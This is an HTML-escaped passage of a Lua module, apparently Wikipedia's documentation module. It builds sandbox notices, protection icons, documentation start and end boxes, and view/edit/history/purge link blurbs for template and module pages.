	if currentTitle.contentModel ~= &#039;Scribunto&#039; then return end&lt;br /&gt;
	pcall(require, currentTitle.prefixedText) -- if it fails, we don&#039;t care&lt;br /&gt;
	local moduleWikitext =  package.loaded[&amp;quot;Module:Module wikitext&amp;quot;]&lt;br /&gt;
	if moduleWikitext then&lt;br /&gt;
		return moduleWikitext.main()&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.sandboxNotice(args, env)&lt;br /&gt;
	--[=[&lt;br /&gt;
	-- Generates a sandbox notice for display above sandbox pages.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;sandbox-notice-image&#039; --&amp;gt; &#039;[[File:Sandbox.svg|50px|alt=|link=]]&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-blurb&#039; --&amp;gt; &#039;This is the $1 for $2.&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-diff-blurb&#039; --&amp;gt; &#039;This is the $1 for $2 ($3).&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-pagetype-template&#039; --&amp;gt; &#039;[[Wikipedia:Template test cases|template sandbox]] page&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-pagetype-module&#039; --&amp;gt; &#039;[[Wikipedia:Template test cases|module sandbox]] page&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-pagetype-other&#039; --&amp;gt; &#039;sandbox page&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-compare-link-display&#039; --&amp;gt; &#039;diff&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-testcases-blurb&#039; --&amp;gt; &#039;See also the companion subpage for $1.&#039;&lt;br /&gt;
	-- &#039;sandbox-notice-testcases-link-display&#039; --&amp;gt; &#039;test cases&#039;&lt;br /&gt;
	-- &#039;sandbox-category&#039; --&amp;gt; &#039;Template sandboxes&#039;&lt;br /&gt;
	-- &#039;module-sandbox-category&#039; --&amp;gt; &#039;Module sandboxes&#039;&lt;br /&gt;
	-- &#039;other-sandbox-category&#039; --&amp;gt; &#039;Sandboxes outside of template or module namespace&#039;&lt;br /&gt;
	--]=]&lt;br /&gt;
	local title = env.title&lt;br /&gt;
	local sandboxTitle = env.sandboxTitle&lt;br /&gt;
	local templateTitle = env.templateTitle&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	if not (subjectSpace and title and sandboxTitle and templateTitle&lt;br /&gt;
		and mw.title.equals(title, sandboxTitle)) then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	-- Build the table of arguments to pass to {{ombox}}. We need just two fields, &amp;quot;image&amp;quot; and &amp;quot;text&amp;quot;.&lt;br /&gt;
	local omargs = {}&lt;br /&gt;
	omargs.image = message(&#039;sandbox-notice-image&#039;)&lt;br /&gt;
	-- Get the text. We start with the opening blurb, which is something like&lt;br /&gt;
	-- &amp;quot;This is the template sandbox for [[Template:Foo]] (diff).&amp;quot;&lt;br /&gt;
	local text = &#039;__EXPECTUNUSEDTEMPLATE__&#039;&lt;br /&gt;
	local pagetype, sandboxCat&lt;br /&gt;
	if subjectSpace == 10 then&lt;br /&gt;
		pagetype = message(&#039;sandbox-notice-pagetype-template&#039;)&lt;br /&gt;
		sandboxCat = message(&#039;sandbox-category&#039;)&lt;br /&gt;
	elseif subjectSpace == 828 then&lt;br /&gt;
		pagetype = message(&#039;sandbox-notice-pagetype-module&#039;)&lt;br /&gt;
		sandboxCat = message(&#039;module-sandbox-category&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		pagetype = message(&#039;sandbox-notice-pagetype-other&#039;)&lt;br /&gt;
		sandboxCat = message(&#039;other-sandbox-category&#039;)&lt;br /&gt;
	end&lt;br /&gt;
	local templateLink = makeWikilink(templateTitle.prefixedText)&lt;br /&gt;
	local compareUrl = env.compareUrl&lt;br /&gt;
	if compareUrl then&lt;br /&gt;
		local compareDisplay = message(&#039;sandbox-notice-compare-link-display&#039;)&lt;br /&gt;
		local compareLink = makeUrlLink(compareUrl, compareDisplay)&lt;br /&gt;
		text = text .. message(&#039;sandbox-notice-diff-blurb&#039;, {pagetype, templateLink, compareLink})&lt;br /&gt;
	else&lt;br /&gt;
		text = text .. message(&#039;sandbox-notice-blurb&#039;, {pagetype, templateLink})&lt;br /&gt;
	end&lt;br /&gt;
	-- Get the test cases page blurb if the page exists. This is something like&lt;br /&gt;
	-- &amp;quot;See also the companion subpage for [[Template:Foo/testcases|test cases]].&amp;quot;&lt;br /&gt;
	local testcasesTitle = env.testcasesTitle&lt;br /&gt;
	if testcasesTitle and testcasesTitle.exists then&lt;br /&gt;
		if testcasesTitle.contentModel == &amp;quot;Scribunto&amp;quot; then&lt;br /&gt;
			local testcasesLinkDisplay = message(&#039;sandbox-notice-testcases-link-display&#039;)&lt;br /&gt;
			local testcasesRunLinkDisplay = message(&#039;sandbox-notice-testcases-run-link-display&#039;)&lt;br /&gt;
			local testcasesLink = makeWikilink(testcasesTitle.prefixedText, testcasesLinkDisplay)&lt;br /&gt;
			local testcasesRunLink = makeWikilink(testcasesTitle.talkPageTitle.prefixedText, testcasesRunLinkDisplay)&lt;br /&gt;
			text = text .. &#039;&amp;lt;br /&amp;gt;&#039; .. message(&#039;sandbox-notice-testcases-run-blurb&#039;, {testcasesLink, testcasesRunLink})&lt;br /&gt;
		else&lt;br /&gt;
			local testcasesLinkDisplay = message(&#039;sandbox-notice-testcases-link-display&#039;)&lt;br /&gt;
			local testcasesLink = makeWikilink(testcasesTitle.prefixedText, testcasesLinkDisplay)&lt;br /&gt;
			text = text .. &#039;&amp;lt;br /&amp;gt;&#039; .. message(&#039;sandbox-notice-testcases-blurb&#039;, {testcasesLink})&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	-- Add the sandbox to the sandbox category.&lt;br /&gt;
	omargs.text = text .. makeCategoryLink(sandboxCat)&lt;br /&gt;
&lt;br /&gt;
	-- &#039;documentation-clear&#039;&lt;br /&gt;
	return &#039;&amp;lt;div class=&amp;quot;&#039; .. message(&#039;clear&#039;) .. &#039;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#039;&lt;br /&gt;
		.. require(&#039;Module:Message box&#039;).main(&#039;ombox&#039;, omargs)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.protectionTemplate(env)&lt;br /&gt;
	-- Generates the padlock icon in the top right.&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;protection-template&#039; --&amp;gt; &#039;pp-template&#039;&lt;br /&gt;
	-- &#039;protection-template-args&#039; --&amp;gt; {docusage = &#039;yes&#039;}&lt;br /&gt;
	local protectionLevels = env.protectionLevels&lt;br /&gt;
	if not protectionLevels then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	local editProt = protectionLevels.edit and protectionLevels.edit[1]&lt;br /&gt;
	local moveProt = protectionLevels.move and protectionLevels.move[1]&lt;br /&gt;
	if editProt then&lt;br /&gt;
		-- The page is edit-protected.&lt;br /&gt;
		return require(&#039;Module:Protection banner&#039;)._main{&lt;br /&gt;
			message(&#039;protection-reason-edit&#039;), small = true&lt;br /&gt;
		}&lt;br /&gt;
	elseif moveProt and moveProt ~= &#039;autoconfirmed&#039; then&lt;br /&gt;
		-- The page is move-protected but not edit-protected. Exclude move&lt;br /&gt;
		-- protection with the level &amp;quot;autoconfirmed&amp;quot;, as this is equivalent to&lt;br /&gt;
		-- no move protection at all.&lt;br /&gt;
		return require(&#039;Module:Protection banner&#039;)._main{&lt;br /&gt;
			action = &#039;move&#039;, small = true&lt;br /&gt;
		}&lt;br /&gt;
	else&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Start box&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
p.startBox = makeInvokeFunc(&#039;_startBox&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._startBox(args, env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- This function generates the start box.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	-- The actual work is done by p.makeStartBoxLinksData and p.renderStartBoxLinks which make&lt;br /&gt;
	-- the [view] [edit] [history] [purge] links, and by p.makeStartBoxData and p.renderStartBox&lt;br /&gt;
	-- which generate the box HTML.&lt;br /&gt;
	--]]&lt;br /&gt;
	env = env or p.getEnvironment(args)&lt;br /&gt;
	local links&lt;br /&gt;
	local content = args.content&lt;br /&gt;
	if not content or args[1] then&lt;br /&gt;
		-- No need to include the links if the documentation is on the template page itself.&lt;br /&gt;
		local linksData = p.makeStartBoxLinksData(args, env)&lt;br /&gt;
		if linksData then&lt;br /&gt;
			links = p.renderStartBoxLinks(linksData)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	-- Generate the start box html.&lt;br /&gt;
	local data = p.makeStartBoxData(args, env, links)&lt;br /&gt;
	if data then&lt;br /&gt;
		return p.renderStartBox(data)&lt;br /&gt;
	else&lt;br /&gt;
		-- User specified no heading.&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeStartBoxLinksData(args, env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Does initial processing of data to make the [view] [edit] [history] [purge] links.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;view-link-display&#039; --&amp;gt; &#039;view&#039;&lt;br /&gt;
	-- &#039;edit-link-display&#039; --&amp;gt; &#039;edit&#039;&lt;br /&gt;
	-- &#039;history-link-display&#039; --&amp;gt; &#039;history&#039;&lt;br /&gt;
	-- &#039;purge-link-display&#039; --&amp;gt; &#039;purge&#039;&lt;br /&gt;
	-- &#039;module-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-module-doc&#039;&lt;br /&gt;
	-- &#039;docpage-preload&#039; --&amp;gt; &#039;Template:Documentation/preload&#039;&lt;br /&gt;
	-- &#039;create-link-display&#039; --&amp;gt; &#039;create&#039;&lt;br /&gt;
	--]]&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	local title = env.title&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	if not title or not docTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	if docTitle.isRedirect then &lt;br /&gt;
		docTitle = docTitle.redirectTarget&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Create link if /doc doesn&#039;t exist.&lt;br /&gt;
	local preload = args.preload&lt;br /&gt;
	if not preload then&lt;br /&gt;
		if subjectSpace == 828 then -- Module namespace&lt;br /&gt;
			preload = message(&#039;module-preload&#039;)&lt;br /&gt;
		else&lt;br /&gt;
			preload = message(&#039;docpage-preload&#039;)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return {&lt;br /&gt;
		title = title,&lt;br /&gt;
		docTitle = docTitle,&lt;br /&gt;
		-- View, display, edit, and purge links if /doc exists.&lt;br /&gt;
		viewLinkDisplay = message(&#039;view-link-display&#039;),&lt;br /&gt;
		editLinkDisplay = message(&#039;edit-link-display&#039;),&lt;br /&gt;
		historyLinkDisplay = message(&#039;history-link-display&#039;),&lt;br /&gt;
		purgeLinkDisplay = message(&#039;purge-link-display&#039;),&lt;br /&gt;
		preload = preload,&lt;br /&gt;
		createLinkDisplay = message(&#039;create-link-display&#039;)&lt;br /&gt;
	}&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.renderStartBoxLinks(data)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Generates the [view][edit][history][purge] or [create][purge] links from the data table.&lt;br /&gt;
	-- @data - a table of data generated by p.makeStartBoxLinksData&lt;br /&gt;
	--]]&lt;br /&gt;
	local docTitle = data.docTitle&lt;br /&gt;
	-- yes, we do intend to purge the template page on which the documentation appears&lt;br /&gt;
	local purgeLink = makeWikilink(&amp;quot;Special:Purge/&amp;quot; .. data.title.prefixedText, data.purgeLinkDisplay)&lt;br /&gt;
	&lt;br /&gt;
	if docTitle.exists then&lt;br /&gt;
		local viewLink = makeWikilink(docTitle.prefixedText, data.viewLinkDisplay)&lt;br /&gt;
		local editLink = makeWikilink(&amp;quot;Special:EditPage/&amp;quot; .. docTitle.prefixedText, data.editLinkDisplay)&lt;br /&gt;
		local historyLink = makeWikilink(&amp;quot;Special:PageHistory/&amp;quot; .. docTitle.prefixedText, data.historyLinkDisplay)&lt;br /&gt;
		return &amp;quot;&amp;amp;#91;&amp;quot; .. viewLink .. &amp;quot;&amp;amp;#93; &amp;amp;#91;&amp;quot; .. editLink .. &amp;quot;&amp;amp;#93; &amp;amp;#91;&amp;quot; .. historyLink .. &amp;quot;&amp;amp;#93; &amp;amp;#91;&amp;quot; .. purgeLink .. &amp;quot;&amp;amp;#93;&amp;quot;&lt;br /&gt;
	else&lt;br /&gt;
		local createLink = makeUrlLink(docTitle:canonicalUrl{action = &#039;edit&#039;, preload = data.preload}, data.createLinkDisplay)&lt;br /&gt;
		return  &amp;quot;&amp;amp;#91;&amp;quot; .. createLink .. &amp;quot;&amp;amp;#93; &amp;amp;#91;&amp;quot; .. purgeLink .. &amp;quot;&amp;amp;#93;&amp;quot;&lt;br /&gt;
	end&lt;br /&gt;
	return ret&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeStartBoxData(args, env, links)&lt;br /&gt;
	--[=[&lt;br /&gt;
	-- Does initial processing of data to pass to the start-box render function, p.renderStartBox.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- @links - a string containing the [view][edit][history][purge] links - could be nil if there&#039;s an error.&lt;br /&gt;
	--&lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;documentation-icon-wikitext&#039; --&amp;gt; &#039;[[File:Test Template Info-Icon - Version (2).svg|50px|link=|alt=]]&#039;&lt;br /&gt;
	-- &#039;template-namespace-heading&#039; --&amp;gt; &#039;Template documentation&#039;&lt;br /&gt;
	-- &#039;module-namespace-heading&#039; --&amp;gt; &#039;Module documentation&#039;&lt;br /&gt;
	-- &#039;file-namespace-heading&#039; --&amp;gt; &#039;Summary&#039;&lt;br /&gt;
	-- &#039;other-namespaces-heading&#039; --&amp;gt; &#039;Documentation&#039;&lt;br /&gt;
	-- &#039;testcases-create-link-display&#039; --&amp;gt; &#039;create&#039;&lt;br /&gt;
	--]=]&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	if not subjectSpace then&lt;br /&gt;
		-- Default to an &amp;quot;other namespaces&amp;quot; namespace, so that we get at least some output&lt;br /&gt;
		-- if an error occurs.&lt;br /&gt;
		subjectSpace = 2&lt;br /&gt;
	end&lt;br /&gt;
	local data = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Heading&lt;br /&gt;
	local heading = args.heading -- Blank values are not removed.&lt;br /&gt;
	if heading == &#039;&#039; then&lt;br /&gt;
		-- Don&#039;t display the start box if the heading arg is defined but blank.&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	if heading then&lt;br /&gt;
		data.heading = heading&lt;br /&gt;
	elseif subjectSpace == 10 then -- Template namespace&lt;br /&gt;
		data.heading = message(&#039;documentation-icon-wikitext&#039;) .. &#039; &#039; .. message(&#039;template-namespace-heading&#039;)&lt;br /&gt;
	elseif subjectSpace == 828 then -- Module namespace&lt;br /&gt;
		data.heading = message(&#039;documentation-icon-wikitext&#039;) .. &#039; &#039; .. message(&#039;module-namespace-heading&#039;)&lt;br /&gt;
	elseif subjectSpace == 6 then -- File namespace&lt;br /&gt;
		data.heading = message(&#039;file-namespace-heading&#039;)&lt;br /&gt;
	else&lt;br /&gt;
		data.heading = message(&#039;other-namespaces-heading&#039;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	-- Heading CSS&lt;br /&gt;
	local headingStyle = args[&#039;heading-style&#039;]&lt;br /&gt;
	if headingStyle then&lt;br /&gt;
		data.headingStyleText = headingStyle&lt;br /&gt;
	else&lt;br /&gt;
		-- &#039;documentation-heading&#039;&lt;br /&gt;
		data.headingClass = message(&#039;main-div-heading-class&#039;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	-- Data for the [view][edit][history][purge] or [create] links.&lt;br /&gt;
	if links then&lt;br /&gt;
		-- &#039;mw-editsection-like plainlinks&#039;&lt;br /&gt;
		data.linksClass = message(&#039;start-box-link-classes&#039;)&lt;br /&gt;
		data.links = links&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return data&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.renderStartBox(data)&lt;br /&gt;
	-- Renders the start box html.&lt;br /&gt;
	-- @data - a table of data generated by p.makeStartBoxData.&lt;br /&gt;
	local sbox = mw.html.create(&#039;div&#039;)&lt;br /&gt;
	sbox&lt;br /&gt;
		-- &#039;documentation-startbox&#039;&lt;br /&gt;
		:addClass(message(&#039;start-box-class&#039;))&lt;br /&gt;
		:newline()&lt;br /&gt;
		:tag(&#039;span&#039;)&lt;br /&gt;
			:addClass(data.headingClass)&lt;br /&gt;
			:attr(&#039;id&#039;, &#039;documentation-heading&#039;)&lt;br /&gt;
			:cssText(data.headingStyleText)&lt;br /&gt;
			:wikitext(data.heading)&lt;br /&gt;
	local links = data.links&lt;br /&gt;
	if links then&lt;br /&gt;
		sbox:tag(&#039;span&#039;)&lt;br /&gt;
			:addClass(data.linksClass)&lt;br /&gt;
			:attr(&#039;id&#039;, data.linksId)&lt;br /&gt;
			:wikitext(links)&lt;br /&gt;
	end&lt;br /&gt;
	return tostring(sbox)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Documentation content&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
p.content = makeInvokeFunc(&#039;_content&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._content(args, env)&lt;br /&gt;
	-- Displays the documentation contents&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	env = env or p.getEnvironment(args)&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	local content = args.content&lt;br /&gt;
	if not content and docTitle and docTitle.exists then&lt;br /&gt;
		content = args._content or mw.getCurrentFrame():expandTemplate{title = docTitle.prefixedText}&lt;br /&gt;
	end&lt;br /&gt;
	-- The line breaks below are necessary so that &amp;quot;=== Headings ===&amp;quot; at the start and end&lt;br /&gt;
	-- of docs are interpreted correctly.&lt;br /&gt;
	return &#039;\n&#039; .. (content or &#039;&#039;) .. &#039;\n&#039; &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.contentTitle = makeInvokeFunc(&#039;_contentTitle&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._contentTitle(args, env)&lt;br /&gt;
	env = env or p.getEnvironment(args)&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	if not args.content and docTitle and docTitle.exists then&lt;br /&gt;
		return docTitle.prefixedText&lt;br /&gt;
	else&lt;br /&gt;
		return &#039;&#039;&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- End box&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
p.endBox = makeInvokeFunc(&#039;_endBox&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._endBox(args, env)&lt;br /&gt;
	--[=[&lt;br /&gt;
	-- This function generates the end box (also known as the link box).&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	--]=]&lt;br /&gt;
	&lt;br /&gt;
	-- Get environment data.&lt;br /&gt;
	env = env or p.getEnvironment(args)&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	if not subjectSpace or not docTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
		&lt;br /&gt;
	-- Check whether we should output the end box at all. Add the end&lt;br /&gt;
	-- box by default if the documentation exists or if we are in the&lt;br /&gt;
	-- user, module or template namespaces.&lt;br /&gt;
	local linkBox = args[&#039;link box&#039;]&lt;br /&gt;
	if linkBox == &#039;off&#039;&lt;br /&gt;
		or not (&lt;br /&gt;
			docTitle.exists&lt;br /&gt;
			or subjectSpace == 2&lt;br /&gt;
			or subjectSpace == 828&lt;br /&gt;
			or subjectSpace == 10&lt;br /&gt;
		)&lt;br /&gt;
	then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Assemble the link box.&lt;br /&gt;
	local text = &#039;&#039;&lt;br /&gt;
	if linkBox then&lt;br /&gt;
		text = text .. linkBox&lt;br /&gt;
	else&lt;br /&gt;
		text = text .. (p.makeDocPageBlurb(args, env) or &#039;&#039;) -- &amp;quot;This documentation is transcluded from [[Foo]].&amp;quot; &lt;br /&gt;
		if subjectSpace == 2 or subjectSpace == 10 or subjectSpace == 828 then&lt;br /&gt;
			-- We are in the user, template or module namespaces.&lt;br /&gt;
			-- Add sandbox and testcases links.&lt;br /&gt;
			-- &amp;quot;Editors can experiment in this template&#039;s sandbox and testcases pages.&amp;quot;&lt;br /&gt;
			text = text .. (p.makeExperimentBlurb(args, env) or &#039;&#039;) .. &#039;&amp;lt;br /&amp;gt;&#039;&lt;br /&gt;
			if not args.content and not args[1] then&lt;br /&gt;
				-- &amp;quot;Please add categories to the /doc subpage.&amp;quot;&lt;br /&gt;
				-- Don&#039;t show this message with inline docs or with an explicitly specified doc page,&lt;br /&gt;
				-- as then it is unclear where to add the categories.&lt;br /&gt;
				text = text .. (p.makeCategoriesBlurb(args, env) or &#039;&#039;)&lt;br /&gt;
			end&lt;br /&gt;
			text = text .. &#039; &#039; .. (p.makeSubpagesBlurb(args, env) or &#039;&#039;) --&amp;quot;Subpages of this template&amp;quot;&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local box = mw.html.create(&#039;div&#039;)&lt;br /&gt;
	-- &#039;documentation-metadata&#039;&lt;br /&gt;
	box:attr(&#039;role&#039;, &#039;note&#039;)&lt;br /&gt;
		:addClass(message(&#039;end-box-class&#039;))&lt;br /&gt;
		-- &#039;plainlinks&#039;&lt;br /&gt;
		:addClass(message(&#039;end-box-plainlinks&#039;))&lt;br /&gt;
		:wikitext(text)&lt;br /&gt;
		:done()&lt;br /&gt;
&lt;br /&gt;
	return &#039;\n&#039; .. tostring(box)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeDocPageBlurb(args, env)&lt;br /&gt;
	--[=[&lt;br /&gt;
	-- Makes the blurb &amp;quot;This documentation is transcluded from [[Template:Foo]] (edit, history)&amp;quot;.&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;edit-link-display&#039; --&amp;gt; &#039;edit&#039;&lt;br /&gt;
	-- &#039;history-link-display&#039; --&amp;gt; &#039;history&#039;&lt;br /&gt;
	-- &#039;transcluded-from-blurb&#039; --&amp;gt; &lt;br /&gt;
	-- &#039;The above [[Wikipedia:Template documentation|documentation]] &lt;br /&gt;
	-- is [[Help:Transclusion|transcluded]] from $1.&#039;&lt;br /&gt;
	-- &#039;module-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-module-doc&#039;&lt;br /&gt;
	-- &#039;create-link-display&#039; --&amp;gt; &#039;create&#039;&lt;br /&gt;
	-- &#039;create-module-doc-blurb&#039; --&amp;gt;&lt;br /&gt;
	-- &#039;You might want to $1 a documentation page for this [[Wikipedia:Lua|Scribunto module]].&#039;&lt;br /&gt;
	--]=]&lt;br /&gt;
	local docTitle = env.docTitle&lt;br /&gt;
	if not docTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	if docTitle.exists then&lt;br /&gt;
		-- /doc exists; link to it.&lt;br /&gt;
		local docLink = makeWikilink(docTitle.prefixedText)&lt;br /&gt;
		local editDisplay = message(&#039;edit-link-display&#039;)&lt;br /&gt;
		local editLink = makeWikilink(&amp;quot;Special:EditPage/&amp;quot; .. docTitle.prefixedText, editDisplay)&lt;br /&gt;
		local historyDisplay = message(&#039;history-link-display&#039;)&lt;br /&gt;
		local historyLink = makeWikilink(&amp;quot;Special:PageHistory/&amp;quot; .. docTitle.prefixedText, historyDisplay)&lt;br /&gt;
		return message(&#039;transcluded-from-blurb&#039;, {docLink})&lt;br /&gt;
			.. &#039; &#039;&lt;br /&gt;
			.. makeToolbar(editLink, historyLink)&lt;br /&gt;
			.. &#039;&amp;lt;br /&amp;gt;&#039;&lt;br /&gt;
	elseif env.subjectSpace == 828 then&lt;br /&gt;
		-- /doc does not exist; ask to create it.&lt;br /&gt;
		local createUrl = docTitle:canonicalUrl{action = &#039;edit&#039;, preload = message(&#039;module-preload&#039;)}&lt;br /&gt;
		local createDisplay = message(&#039;create-link-display&#039;)&lt;br /&gt;
		local createLink = makeUrlLink(createUrl, createDisplay)&lt;br /&gt;
		return message(&#039;create-module-doc-blurb&#039;, {createLink})&lt;br /&gt;
			.. &#039;&amp;lt;br /&amp;gt;&#039;&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.makeExperimentBlurb(args, env)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Renders the text &amp;quot;Editors can experiment in this template&#039;s sandbox (edit | diff) and testcases (edit) pages.&amp;quot;&lt;br /&gt;
	-- @args - a table of arguments passed by the user&lt;br /&gt;
	-- @env - environment table containing title objects, etc., generated with p.getEnvironment&lt;br /&gt;
	-- &lt;br /&gt;
	-- Messages:&lt;br /&gt;
	-- &#039;sandbox-link-display&#039; --&amp;gt; &#039;sandbox&#039;&lt;br /&gt;
	-- &#039;sandbox-edit-link-display&#039; --&amp;gt; &#039;edit&#039;&lt;br /&gt;
	-- &#039;compare-link-display&#039; --&amp;gt; &#039;diff&#039;&lt;br /&gt;
	-- &#039;module-sandbox-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-module-sandbox&#039;&lt;br /&gt;
	-- &#039;template-sandbox-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-sandbox&#039;&lt;br /&gt;
	-- &#039;sandbox-create-link-display&#039; --&amp;gt; &#039;create&#039;&lt;br /&gt;
	-- &#039;mirror-edit-summary&#039; --&amp;gt; &#039;Create sandbox version of $1&#039;&lt;br /&gt;
	-- &#039;mirror-link-display&#039; --&amp;gt; &#039;mirror&#039;&lt;br /&gt;
	-- &#039;mirror-link-preload&#039; --&amp;gt; &#039;Template:Documentation/mirror&#039;&lt;br /&gt;
	-- &#039;sandbox-link-display&#039; --&amp;gt; &#039;sandbox&#039;&lt;br /&gt;
	-- &#039;testcases-link-display&#039; --&amp;gt; &#039;testcases&#039;&lt;br /&gt;
	-- &#039;testcases-edit-link-display&#039;--&amp;gt; &#039;edit&#039;&lt;br /&gt;
	-- &#039;template-sandbox-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-sandbox&#039;&lt;br /&gt;
	-- &#039;testcases-create-link-display&#039; --&amp;gt; &#039;create&#039;&lt;br /&gt;
	-- &#039;testcases-link-display&#039; --&amp;gt; &#039;testcases&#039;&lt;br /&gt;
	-- &#039;testcases-edit-link-display&#039; --&amp;gt; &#039;edit&#039;&lt;br /&gt;
	-- &#039;module-testcases-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-module-testcases&#039;&lt;br /&gt;
	-- &#039;template-testcases-preload&#039; --&amp;gt; &#039;Template:Documentation/preload-testcases&#039;&lt;br /&gt;
	-- &#039;experiment-blurb-module&#039; --&amp;gt; &#039;Editors can experiment in this module&#039;s $1 and $2 pages.&#039;&lt;br /&gt;
	-- &#039;experiment-blurb-template&#039; --&amp;gt; &#039;Editors can experiment in this template&#039;s $1 and $2 pages.&#039;&lt;br /&gt;
	--]]&lt;br /&gt;
	local subjectSpace = env.subjectSpace&lt;br /&gt;
	local templateTitle = env.templateTitle&lt;br /&gt;
	local sandboxTitle = env.sandboxTitle&lt;br /&gt;
	local testcasesTitle = env.testcasesTitle&lt;br /&gt;
	local templatePage = templateTitle.prefixedText&lt;br /&gt;
	if not subjectSpace or not templateTitle or not sandboxTitle or not testcasesTitle then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	-- Make links.&lt;br /&gt;
	local sandboxLinks, testcasesLinks&lt;br /&gt;
	if sandboxTitle.exists then&lt;br /&gt;
		local sandboxPage = sandboxTitle.prefixedText&lt;br /&gt;
		local sandboxDisplay = message(&#039;sandbox-link-display&#039;)&lt;br /&gt;
